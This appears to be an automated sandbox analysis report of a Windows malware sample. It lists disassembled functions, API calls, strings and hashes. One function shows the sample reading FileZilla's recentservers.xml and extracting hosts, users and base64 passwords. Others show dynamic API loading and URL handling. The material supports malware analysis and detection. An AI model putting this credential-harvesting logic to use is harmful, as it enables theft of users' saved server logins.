StrCmpCA.SHLWAPI(?,004215BC), ref: 023EF9D6
StrCmpCA.SHLWAPI(?,004215C0), ref: 023EF9EC
FindNextFileA.KERNEL32(000000FF,?), ref: 023EFD18
FindClose.KERNEL32(000000FF), ref: 023EFD2A

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: dbc33d9263c12bccf2023e6a26364f15308e1a9a0f3d34f169b2ef739c1ce31c
Instruction ID: ca7575b53b391e1ec510e5940bf324a5784197d0df93060e12562f1e64a75dfc
Opcode Fuzzy Hash: dbc33d9263c12bccf2023e6a26364f15308e1a9a0f3d34f169b2ef739c1ce31c
Instruction Fuzzy Hash: A6117F7180025CABCF78EBA0ED649ED7376AF11300F4046AAA61E56591EF302B4DCF41

Function 023FD151 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0041CEA8), ref: 023FD156

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction ID: f83a9dfad8d9090bd4b69b445eb29f9fdcf7b9edf99be21673d757649d1b517e
Opcode Fuzzy Hash: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction Fuzzy Hash: 3B9002753912104A471417755D496C52A905E9D6067624861B506C4054DB988044551A

Function 0041CEEA Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001CEA8), ref: 0041CEEF

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction ID: f83a9dfad8d9090bd4b69b445eb29f9fdcf7b9edf99be21673d757649d1b517e
Opcode Fuzzy Hash: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction Fuzzy Hash: 3B9002753912104A471417755D496C52A905E9D6067624861B506C4054DB988044551A

Function 0079E9E3 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

uy, xrefs: 0079E9E9

Memory Dump Source

Source File: 00000000.00000002.2280904911.000000000079E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0079E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_79e000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID:
String ID: uy
API String ID: 0-3485231500
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 0eefd086386ab5e3cd796fc364ec115035c91aef8743790e56a7db56d953990f
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: AD117C72340200AFDB54DF55EC85EA673EAFB89320B298065ED04CB322E679EC41C760

Function 023E0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: ac9752dd3aafc6769321994f63d844d3766f3232f805cbc691490aa8220b8af2
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: BA01DF72A10A108FDF25DF20C904BAF33A5EBC6306F0540B5D90BE7281E3B0A8498B80

Function 023F99B7 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00419750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 023FD1D3 Relevance: 107.7, APIs: 86, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

free.MSVCRT ref: 023FD1E7
free.MSVCRT ref: 023FD1EF
free.MSVCRT ref: 023FD1F7
free.MSVCRT ref: 023FD1FF
free.MSVCRT ref: 023FD207
free.MSVCRT ref: 023FD20F
free.MSVCRT ref: 023FD216
free.MSVCRT ref: 023FD21E
free.MSVCRT ref: 023FD226
free.MSVCRT ref: 023FD22E
free.MSVCRT ref: 023FD236
free.MSVCRT ref: 023FD23E
free.MSVCRT ref: 023FD246
free.MSVCRT ref: 023FD24E
free.MSVCRT ref: 023FD256
free.MSVCRT ref: 023FD25E
free.MSVCRT ref: 023FD269
free.MSVCRT ref: 023FD271
free.MSVCRT ref: 023FD279
free.MSVCRT ref: 023FD281
free.MSVCRT ref: 023FD289
free.MSVCRT ref: 023FD291
free.MSVCRT ref: 023FD299
free.MSVCRT ref: 023FD2A1
free.MSVCRT ref: 023FD2A9
free.MSVCRT ref: 023FD2B1
free.MSVCRT ref: 023FD2B9
free.MSVCRT ref: 023FD2C1
free.MSVCRT ref: 023FD2C9
free.MSVCRT ref: 023FD2D1
free.MSVCRT ref: 023FD2D9
free.MSVCRT ref: 023FD2E1
free.MSVCRT ref: 023FD2EF
free.MSVCRT ref: 023FD2FA
free.MSVCRT ref: 023FD305
free.MSVCRT ref: 023FD310
free.MSVCRT ref: 023FD31B
free.MSVCRT ref: 023FD326
free.MSVCRT ref: 023FD331
free.MSVCRT ref: 023FD33C
free.MSVCRT ref: 023FD347
free.MSVCRT ref: 023FD352
free.MSVCRT ref: 023FD35D
free.MSVCRT ref: 023FD368
free.MSVCRT ref: 023FD373
free.MSVCRT ref: 023FD37E
free.MSVCRT ref: 023FD389
free.MSVCRT ref: 023FD394
free.MSVCRT ref: 023FD3A2
free.MSVCRT ref: 023FD3AD
free.MSVCRT ref: 023FD3B8
free.MSVCRT ref: 023FD3C3
free.MSVCRT ref: 023FD3CE
free.MSVCRT ref: 023FD3D9
free.MSVCRT ref: 023FD3E4
free.MSVCRT ref: 023FD3EF
free.MSVCRT ref: 023FD3FA
free.MSVCRT ref: 023FD405
free.MSVCRT ref: 023FD410
free.MSVCRT ref: 023FD41B
free.MSVCRT ref: 023FD426
free.MSVCRT ref: 023FD431
free.MSVCRT ref: 023FD43C
free.MSVCRT ref: 023FD447
free.MSVCRT ref: 023FD455
free.MSVCRT ref: 023FD460
free.MSVCRT ref: 023FD46B
free.MSVCRT ref: 023FD476
free.MSVCRT ref: 023FD481
free.MSVCRT ref: 023FD48C
free.MSVCRT ref: 023FD497
free.MSVCRT ref: 023FD4A2
free.MSVCRT ref: 023FD4AD
free.MSVCRT ref: 023FD4B8
free.MSVCRT ref: 023FD4C3
free.MSVCRT ref: 023FD4CE
free.MSVCRT ref: 023FD4D9
free.MSVCRT ref: 023FD4E4
free.MSVCRT ref: 023FD4EF
free.MSVCRT ref: 023FD4FA
free.MSVCRT ref: 023FD508
free.MSVCRT ref: 023FD513
free.MSVCRT ref: 023FD51E
free.MSVCRT ref: 023FD529
free.MSVCRT ref: 023FD534
free.MSVCRT ref: 023FD53F

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4243eb4f7a4797f88c21eec07c423483bd74b8336bdd1fff1b24957b34ad7449
Instruction ID: 54d1e10b2dd0648dee1cb2d9f113b9c83761a0e98ec308d8ba8eafc5e5a04630
Opcode Fuzzy Hash: 4243eb4f7a4797f88c21eec07c423483bd74b8336bdd1fff1b24957b34ad7449
Instruction Fuzzy Hash: EB71C132451B40EBD7F33B31FD11E4AFAA37F04702F104926BADF295709E226865AE51

Function 00410250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

strtok_s.MSVCRT ref: 0041031B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlenA.KERNEL32(00000000), ref: 00410393

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlenA.KERNEL32(00000000), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlenA.KERNEL32(00000000), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlenA.KERNEL32(00000000), ref: 00410475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00410562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00410571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00410580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410593
lstrcatA.KERNEL32(?,00421678,?,?,00000000), ref: 004105A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105B5
lstrcatA.KERNEL32(?,0042167C,?,?,00000000), ref: 004105C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 004105D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105E6
lstrcatA.KERNEL32(?,00421688,?,?,00000000), ref: 004105F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410617
lstrcatA.KERNEL32(?,00421698,?,?,00000000), ref: 00410626
lstrcatA.KERNEL32(?,0042169C,?,?,00000000), ref: 00410635
strtok_s.MSVCRT ref: 00410679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E
memset.MSVCRT ref: 004106DD

Strings

browser: FileZilla, xrefs: 00410559
profile: null, xrefs: 00410568
url: , xrefs: 00410577
password: , xrefs: 004105FB
NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
<Port>, xrefs: 004103C6
NA, xrefs: 0041072E, 004106AF, 004106B2
<Pass encoding="base64">, xrefs: 0041045A
<Host>, xrefs: 0041037C
login: , xrefs: 004105CA
<User>, xrefs: 00410410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-514892060
Opcode ID: a8872f9b9bb1cb9e478c25673be1377050816f1e4d9c1e82bbed77d0740d0bab
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: a8872f9b9bb1cb9e478c25673be1377050816f1e4d9c1e82bbed77d0740d0bab
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 023F9AC7 Relevance: 65.0, APIs: 33, Strings: 4, Instructions: 212libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(0064A8B0,0064A204), ref: 023F9B08
GetProcAddress.KERNEL32(0064A8B0,0064A5C8), ref: 023F9B21
GetProcAddress.KERNEL32(0064A8B0,0064A644), ref: 023F9B39
GetProcAddress.KERNEL32(0064A8B0,0064A264), ref: 023F9B51
GetProcAddress.KERNEL32(0064A8B0,0064A250), ref: 023F9B6A
GetProcAddress.KERNEL32(0064A8B0,Xry), ref: 023F9B82
GetProcAddress.KERNEL32(0064A8B0,0064A4D4), ref: 023F9B9A
GetProcAddress.KERNEL32(0064A8B0,0064A33C), ref: 023F9BB3
GetProcAddress.KERNEL32(0064A8B0,0064A5A0), ref: 023F9BCB
GetProcAddress.KERNEL32(0064A8B0,0064A548), ref: 023F9BE3
GetProcAddress.KERNEL32(0064A8B0,0064A3BC), ref: 023F9BFC
GetProcAddress.KERNEL32(0064A8B0,0064A2E8), ref: 023F9C14
GetProcAddress.KERNEL32(0064A8B0,XWy), ref: 023F9C2C
GetProcAddress.KERNEL32(0064A8B0,0064A0B0), ref: 023F9C45
GetProcAddress.KERNEL32(0064A8B0,0064A598), ref: 023F9C5D
GetProcAddress.KERNEL32(0064A8B0,0064A224), ref: 023F9C75
GetProcAddress.KERNEL32(0064A8B0,0064A418), ref: 023F9C8E
GetProcAddress.KERNEL32(0064A8B0,0064A634), ref: 023F9CA6
GetProcAddress.KERNEL32(0064A8B0,8Xy), ref: 023F9CBE
GetProcAddress.KERNEL32(0064A8B0,0064A12C), ref: 023F9CD7
GetProcAddress.KERNEL32(0064A8B0,0064A2B0), ref: 023F9CEF
LoadLibraryA.KERNEL32(0064A550,?,023F6C67), ref: 023F9D01
LoadLibraryA.KERNEL32(0064A17C,?,023F6C67), ref: 023F9D12
LoadLibraryA.KERNEL32(0064A104,?,023F6C67), ref: 023F9D24
LoadLibraryA.KERNEL32(0064A1DC,?,023F6C67), ref: 023F9D36
LoadLibraryA.KERNEL32(0064A328,?,023F6C67), ref: 023F9D47
GetProcAddress.KERNEL32(0064A6D4,0064A4AC), ref: 023F9D69
GetProcAddress.KERNEL32(0064A7F4,0064A424), ref: 023F9D8A
GetProcAddress.KERNEL32(0064A7F4,0064A1CC), ref: 023F9DA2
GetProcAddress.KERNEL32(0064A8E4,0064A394), ref: 023F9DC4
GetProcAddress.KERNEL32(0064A7A8,0064A128), ref: 023F9DE5
GetProcAddress.KERNEL32(0064A7D8,qy), ref: 023F9E06
GetProcAddress.KERNEL32(0064A7D8,00420724), ref: 023F9E1D

Strings

8Xy, xrefs: 023F9CB1, 023F9CB7
qy, xrefs: 023F9DF9, 023F9DFF
Xry, xrefs: 023F9B75, 023F9B7A
XWy, xrefs: 023F9C1F, 023F9C25

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 8Xy$XWy$Xry$qy
API String ID: 2238633743-785294649
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: a5c7873a7125081167ff94e6eb303a49fac81e60288e6f048ab7d573373e698c
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 3BA13CBE5C0240BFE364EFE8ED88A963BFBF74E201714661AE605C3264D7399441DB52

Function 023E4827 Relevance: 51.1, APIs: 34, Instructions: 114stringmemoryCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00424D98), ref: 023E4833
lstrlen.KERNEL32(00424E48), ref: 023E483E
lstrlen.KERNEL32(00424F10), ref: 023E4849
lstrlen.KERNEL32(00424FC8), ref: 023E4854
lstrlen.KERNEL32(00425070), ref: 023E485F
GetProcessHeap.KERNEL32(00000000,?), ref: 023E486E
RtlAllocateHeap.NTDLL(00000000), ref: 023E4875
lstrlen.KERNEL32(00425118), ref: 023E4883
lstrlen.KERNEL32(004251C0), ref: 023E488E
lstrlen.KERNEL32(00425268), ref: 023E4899
lstrlen.KERNEL32(00425310), ref: 023E48A4
lstrlen.KERNEL32(004253B8), ref: 023E48AF
lstrlen.KERNEL32(00425460), ref: 023E48C3
lstrlen.KERNEL32(00425508), ref: 023E48CE
lstrlen.KERNEL32(004255B0), ref: 023E48D9
lstrlen.KERNEL32(00425658), ref: 023E48E4
lstrlen.KERNEL32(00425700), ref: 023E48EF
lstrlen.KERNEL32(004257A8), ref: 023E4918
lstrlen.KERNEL32(00425850), ref: 023E4923
lstrlen.KERNEL32(00425918), ref: 023E492E
lstrlen.KERNEL32(004259C0), ref: 023E4939
lstrlen.KERNEL32(00425A68), ref: 023E4944
strlen.MSVCRT ref: 023E4957
lstrlen.KERNEL32(00425B10), ref: 023E497F
lstrlen.KERNEL32(00425BB8), ref: 023E498A
lstrlen.KERNEL32(00425C60), ref: 023E4995
lstrlen.KERNEL32(00425D08), ref: 023E49A0
lstrlen.KERNEL32(00425DB0), ref: 023E49AB
lstrlen.KERNEL32(00425E58), ref: 023E49BB
lstrlen.KERNEL32(00425F00), ref: 023E49C6
lstrlen.KERNEL32(00425FA8), ref: 023E49D1
lstrlen.KERNEL32(00426050), ref: 023E49DC
lstrlen.KERNEL32(004260F8), ref: 023E49E7
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 023E4A03

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID:
API String ID: 2127927946-0
Opcode ID: 94e7660d446ef400bbca7e6a05bf8504b75a8e0329621672810e0e1d9e7bb62d
Instruction ID: d08faa29961c9c6627824d371129a2c1405ad81fa52a6af724ddd217bd07fbda
Opcode Fuzzy Hash: 94e7660d446ef400bbca7e6a05bf8504b75a8e0329621672810e0e1d9e7bb62d
Instruction Fuzzy Hash: 9941BB79740624EBC718AFE5EC8DB987F71AB4C712BA0C062F9029A190C7F5D5019B3E

Function 023F04B7 Relevance: 48.4, APIs: 32, Instructions: 363stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023F9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 023F9072

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAA07: lstrcpy.KERNEL32(?,00000000), ref: 023FAA4D

Part of subcall function 023E9C27: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 023E9C53
Part of subcall function 023E9C27: GetFileSizeEx.KERNEL32(000000FF,?), ref: 023E9C78
Part of subcall function 023E9C27: LocalAlloc.KERNEL32(00000040,?), ref: 023E9C98
Part of subcall function 023E9C27: ReadFile.KERNEL32(000000FF,?,00000000,023E16F6,00000000), ref: 023E9CC1
Part of subcall function 023E9C27: LocalFree.KERNEL32(023E16F6), ref: 023E9CF7
Part of subcall function 023E9C27: CloseHandle.KERNEL32(000000FF), ref: 023E9D01

Part of subcall function 023F9097: LocalAlloc.KERNEL32(00000040,-00000001), ref: 023F90B9

strtok_s.MSVCRT ref: 023F0582
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 023F05C9
RtlAllocateHeap.NTDLL(00000000), ref: 023F05D0
StrStrA.SHLWAPI(00000000,00421618), ref: 023F05EC
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 023F05FA

Part of subcall function 023F8B47: malloc.MSVCRT ref: 023F8B4F
Part of subcall function 023F8B47: strncpy.MSVCRT ref: 023F8B6A

StrStrA.SHLWAPI(00000000,00421620), ref: 023F0636
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 023F0644
StrStrA.SHLWAPI(00000000,00421628), ref: 023F0680
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 023F068E
StrStrA.SHLWAPI(00000000,00421630), ref: 023F06CA
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 023F06DC
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 023F0769
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 023F0781
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 023F0799
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 023F07B1
lstrcat.KERNEL32(?,0042164C), ref: 023F07C9
lstrcat.KERNEL32(?,00421660), ref: 023F07D8
lstrcat.KERNEL32(?,00421670), ref: 023F07E7
lstrcat.KERNEL32(?,00000000), ref: 023F07FA
lstrcat.KERNEL32(?,00421678), ref: 023F0809
lstrcat.KERNEL32(?,00000000), ref: 023F081C
lstrcat.KERNEL32(?,0042167C), ref: 023F082B
lstrcat.KERNEL32(?,00421680), ref: 023F083A
lstrcat.KERNEL32(?,00000000), ref: 023F084D
lstrcat.KERNEL32(?,00421688), ref: 023F085C
lstrcat.KERNEL32(?,0042168C), ref: 023F086B
lstrcat.KERNEL32(?,00000000), ref: 023F087E
lstrcat.KERNEL32(?,00421698), ref: 023F088D
lstrcat.KERNEL32(?,0042169C), ref: 023F089C
strtok_s.MSVCRT ref: 023F08E0
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 023F08F5
memset.MSVCRT ref: 023F0944

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeapstrtok_s$AllocateCloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID:
API String ID: 3689735781-0
Opcode ID: c4d654fd63af8b96c424d1b0ea7922b0682d9adc7819136a205fb9eb7b79f56e
Instruction ID: 79b53a10cfd65f85f20197f6ea3f15fd13424da49c27b542d3cd32e288252fdb
Opcode Fuzzy Hash: c4d654fd63af8b96c424d1b0ea7922b0682d9adc7819136a205fb9eb7b79f56e
Instruction Fuzzy Hash: B7D15E76A40208ABCB54FBF4ED95EEEB77AFF14300F504519E206A6190DF74AA09CF61

Function 00405960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

